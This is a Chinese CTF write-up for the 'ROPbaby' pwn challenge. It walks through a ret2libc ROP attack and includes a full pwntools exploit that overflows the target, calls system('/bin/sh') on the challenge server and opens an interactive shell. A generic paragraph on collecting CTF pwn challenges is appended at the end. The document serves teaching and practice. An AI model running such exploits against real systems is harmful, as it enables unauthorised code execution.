CTF-PWN-ROPbaby(实验吧)

学rop的时候刷到的题,感觉很有启发于是就写下来。

本文很大程度上借鉴了如下文章:

http://wzt.ac.cn/2018/04/02/ROP/

进入正题。我们发现题目中给了我们libc的文件,在ropbaby程序中也可以直接查找libc基地址,因此我们就可以不用在主程序中寻找了。

首先我们查看ropbaby文件的保护方式

由于开了NX,shellcode的方式就不好弄了,因此我们选择rop进行溢出攻击

rop的大概思路就是,通过编程的方式,劫持程序的返回地址,将其重新导向至目标位置。我们做题的目标一般都是劫持程序运行system(/bin/sh) 。

首先程序是64位的,函数调用时,前六个参数是通过rdi,rsi,rdx,rcx,r8 和 r9进行传递的 而我们的目的是构造payload 使程序执行 system(‘/bin/sh’) 这个命令

因此我们需要做的步骤如下:

1.找到程序漏洞(即溢出点)

2.构造一个gadget,包含pop rdi | retn

3.在libc中找到/bin/sh字符串的地址,送入rdi寄存器

4.找到system函数地址,并使得程序跳转执行system函数

通过题目中给出的libc文件,我们可以轻易在终端中用如下命令找到pop rdi|retn的地址

ROPgadget --binary libc-2.23.so --only "pop|ret"

 

将这个地址记下,我们将ropbaby进行分析

其中nptr是我们输入的一个字符串,而savedregs题目中是以int64声明,即最多输入8个字节,就会溢出,这就是我们需要的溢出点,因此我们可以考虑对memcpy函数劫持。

strings -tx libc-2.23.so | grep "/bin/sh"

 这一行命令让我们找到/bin/sh在libc中的地址

由于程序允许我们查找system的地址,因此我们考虑找到system函数的偏移

objdump -T libc-2.23.so | grep "system"

 

0x45390即为system的偏移

所以我们可以构造payload='a’ * 8 + gadget_address + bin_address + system_address 

 借鉴了上述文章作者的exp如下:

from pwn import *
tar = remote('106.2.25.7', '8004')
print(tar.recv())
tar.send('2' + '\n')
tar.send('system' + '\n')
sys_addr = int(tar.recvline()[29:], 16)
print ("[+]system_addr: "+hex(sys_addr))
base_addr = sys_addr - 0x45390
sh_addr = base_addr + 0x18cd17
print ("[+]binsh: "+hex(sh_addr))
gadget_addr = base_addr + 0x21102 
payload = 'a' * 8 + p64(gadget_addr) + p64(sh_addr) + p64(sys_addr)
tar.sendline('3')
tar.recvuntil('Enter bytes to send (max 1024): ')
tar.sendline('32')
tar.sendline(payload)
tar.interactive()

 

ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值